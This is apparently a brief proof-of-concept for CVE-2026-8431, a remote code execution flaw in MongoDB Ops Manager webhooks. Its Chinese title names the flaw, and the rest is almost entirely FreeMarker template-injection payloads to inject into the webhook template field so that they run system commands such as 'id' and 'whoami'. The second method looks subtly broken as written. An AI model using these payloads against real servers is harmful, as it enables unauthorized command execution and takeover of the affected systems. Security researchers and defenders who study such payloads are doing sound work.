CVE-2026-8431 MongoDB Ops Manager Webhook远程代码执行漏洞

<#-- PoC for CVE-2026-8431 Description: FreeMarker SSTI payload to execute system commands via Webhook configuration. Usage: Inject the following payload into the Webhook configuration template field in MongoDB Ops Manager. --> <#-- Method 1: Using the Execute class utility (Common in FreeMarker SSTI) --> <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} <#-- Method 2: Alternative payload to execute commands (e.g., whoami) --> <#assign classloader=object?api.class.getClassLoader()> <#assign clazz=classloader.loadClass("freemarker.template.utility.Execute")> <#assign method=clazz.getMethod("exec", classloader.loadClass("java.lang.String"))> ${method("whoami")}